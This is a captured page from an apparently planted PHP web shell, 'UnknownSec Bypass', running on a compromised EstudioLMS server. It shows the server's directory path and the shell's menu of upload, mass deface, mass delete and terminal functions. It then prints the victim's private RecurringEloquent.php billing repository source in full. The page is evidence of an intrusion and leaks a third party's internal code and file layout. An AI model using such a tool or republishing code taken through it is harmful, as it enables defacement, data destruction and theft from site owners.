UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_a49dedfd340f
/
app
/
Repositories
/
Financial
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
RecurringEloquent.php
<?php namespace EstudioLMS\Repositories\Financial; use Carbon\Carbon; use EstudioLMS\Models\Financial\Recurring; use Prettus\Repository\Eloquent\BaseRepository; /** * Class RecurringEloquent * @package Repositories\Financial */ class RecurringEloquent extends BaseRepository implements RecurringInterface { /** * @inheritDoc */ public function model() { return Recurring::class; } /** * @inheritDoc */ public function getDueRecurrences(string $paymentType = null, int $addDays = null) { $today = Carbon::now()->format('Y-m-d'); $query = $this->model ->with(['hire_subscription', 'hire_subscription.subscription']) ->whereIn('status', [0, 2]); //Somente títulos em aberto, ou cartões com falha na cobrança if (!is_null($paymentType)) $query = $query->where('payment_type', '=', $paymentType); if (!is_null($addDays)) { $query = $query->whereRaw('next_attempt_date <= DATE_SUB(CURDATE(), INTERVAL -' . $addDays . ' DAY)'); } else { $query = $query->where('next_attempt_date', '=', $today); } return $query->get(); } /** * @return mixed */ public function getExpiredBoletos() { $today = Carbon::now()->format('Y-m-d'); $query = $this->model ->with(['hire_subscription', 'hire_subscription.subscription']) ->whereIn('status', [3]) //Somente boletos emitidos e não pagos ->where('due_date', '<=', $today) ->where('next_attempt_date', '<=', $today); return $query->get(); } /** * @return mixed */ public function getCancels() { $today = Carbon::now()->format('Y-m-d'); $query = $this->model ->with(['hire_subscription', 'hire_subscription.subscription']) ->whereIn('status', [4]) //Solicitações de cancelamento ->where('next_attempt_date', '<=', $today); return $query->get(); } /** * @param string $subscriptionHash * @param array|null $recurrenceStatus * @return mixed */ public function getRecurrence(string $subscriptionHash, array $recurrenceStatus = null) { $query = $this->model ->where('subscription_hash', '=', $subscriptionHash); if (!is_null($recurrenceStatus)) $query = $query->whereIn('status', $recurrenceStatus); return $query->first(); } /** * @param string $subscriptionHash * @return mixed */ public function getLatestRecurrence(string $subscriptionHash) { return $this->model ->where('subscription_hash', '=', $subscriptionHash) ->latest('id')->first(); } /** * @param string $subscriptionHash * @return int */ public function countSubscriptionRecurrences(string $subscriptionHash) { return count($this->model ->where('subscription_hash', '=', $subscriptionHash) ->get()); } }
Copyright © 2026 - UnknownSec